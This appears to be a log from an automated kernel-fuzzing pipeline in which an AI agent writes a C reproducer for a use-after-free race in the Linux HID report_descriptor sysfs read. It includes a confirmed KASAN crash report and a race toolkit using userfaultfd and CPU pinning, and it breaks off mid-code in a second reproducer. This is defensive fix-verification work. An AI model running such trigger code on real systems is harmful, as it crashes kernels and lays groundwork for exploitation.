| 0/0 |
2026/05/19 10:06 |
flow |
repro-c |
17m
Results: map[OtherCrashReports:<nil> ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
Reproduced:true ReproducedBugTitle:KASAN: slab-use-after-free Read in report_descriptor_read ReproducedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_pread64 fs/read_write.c:765 [inline]
__do_sys_pread64 fs/read_write.c:773 [inline]
__se_sys_pread64 fs/read_write.c:770 [inline]
__x64_sys_pread64+0x199/0x230 fs/read_write.c:770
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f9bac0c499e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
</TASK>
Allocated by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
apple_probe+0xef/0x10b0 drivers/hid/hid-apple.c:958
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
device_driver_attach+0xe0/0x1d0 drivers/base/dd.c:1206
bind_store+0x1d0/0x220 drivers/base/bus.c:267
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2689 [inline]
slab_free mm/slub.c:6250 [inline]
kfree+0x1c5/0x640 mm/slub.c:6565
hid_close_report+0x632/0x720 drivers/hid/hid-core.c:734
hid_device_remove+0x259/0x370 drivers/hid/hid-core.c:2885
device_remove drivers/base/dd.c:619 [inline]
__device_release_driver drivers/base/dd.c:1352 [inline]
device_release_driver_internal+0x46f/0x870 drivers/base/dd.c:1375
unbind_store+0x1a1/0x1d0 drivers/base/bus.c:244
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff88810a256880
which belongs to the cache kmalloc-96 of size 96
The buggy address is located 0 bytes inside of
freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_node_noprof+0x465/0x6b0 mm/slub.c:5427
kmalloc_node_noprof include/linux/slab.h:1077 [inline]
__get_vm_area_node+0x13f/0x300 mm/vmalloc.c:3215
__vmalloc_node_range_noprof+0x36a/0x1750 mm/vmalloc.c:4024
__vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
alloc_thread_stack_node kernel/fork.c:357 [inline]
dup_task_struct+0x298/0x840 kernel/fork.c:926
copy_process+0x89b/0x4440 kernel/fork.c:2090
kernel_clone+0x284/0x8f0 kernel/fork.c:2721
user_mode_thread+0x110/0x180 kernel/fork.c:2797
call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
page_owner free stack trace missing
Memory state around the buggy address:
ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
^
ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
==================================================================
]
|
| 1/1 |
2026/05/19 10:06 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/d5a02ed91a4f019017141f71e695c75b27c3612e]
|
| 2/1 |
2026/05/19 10:06 |
action |
kernel-builder |
0m
Results: map[KernelObj:/app/workdir/cache/build/31bef31876b2e5f1cce9cb54f4f072a85fcadecb]
|
| 3/1 |
2026/05/19 10:06 |
action |
codesearch-prepare |
0m
Results: map[Index:codesearch-index]
|
| 4/1 |
2026/05/19 10:07 |
agent |
initial-researcher |
0m
Model:
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program.
This is for the strictly defensive purpose of verifying a bugfix in an isolated environment.
Do NOT propose an exploit. Focus on minimal technical reproduction of the bug state.
Keep your analysis and strategy proposal concise. Do not write long explanations.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Reply: An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
